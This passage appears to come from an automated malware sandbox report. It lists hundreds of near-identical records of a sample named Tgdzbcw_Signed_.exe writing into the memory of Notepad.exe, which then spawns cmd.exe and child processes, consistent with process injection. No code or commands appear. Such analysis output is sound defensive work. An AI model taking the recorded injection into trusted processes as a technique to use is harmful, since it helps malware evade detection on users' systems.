Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 2008 wrote to memory of 2340 2008 Notepad.exe 31 PID 2008 wrote to memory of 2340 2008 Notepad.exe 31 PID 2008 wrote to memory of 2340 2008 Notepad.exe 31 PID 2008 wrote to memory of 2340 2008 Notepad.exe 31 PID 2340 wrote to memory of 2372 2340 cmd.exe 33 PID 2340 wrote to memory of 2372 2340 cmd.exe 33 PID 2340 wrote to memory of 2372 2340 cmd.exe 33 PID 2340 wrote to memory of 2372 2340 cmd.exe 33 PID 2340 wrote to memory of 2384 2340 cmd.exe 34 PID 2340 wrote to memory of 2384 2340 cmd.exe 34 PID 2340 wrote to memory of 2384 2340 cmd.exe 34 PID 2340 wrote to memory of 2384 2340 cmd.exe 34 PID 2340 wrote to memory of 2404 2340 cmd.exe 36 PID 2340 wrote to memory of 2404 2340 cmd.exe 36 PID 2340 wrote to memory of 2404 2340 cmd.exe 36 PID 2340 wrote to memory of 2404 2340 cmd.exe 36 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 2340 wrote to memory of 2464 2340 cmd.exe 37 PID 2340 wrote to memory of 2464 2340 cmd.exe 37 PID 2340 wrote to memory of 2464 2340 cmd.exe 37 PID 2340 wrote to memory of 2464 2340 cmd.exe 37 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 2008 wrote to memory of 2820 2008 Notepad.exe 38 PID 2008 wrote to memory of 2820 2008 Notepad.exe 38 PID 2008 wrote to memory of 2820 2008 Notepad.exe 38 PID 2008 wrote to memory of 2820 2008 Notepad.exe 38 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 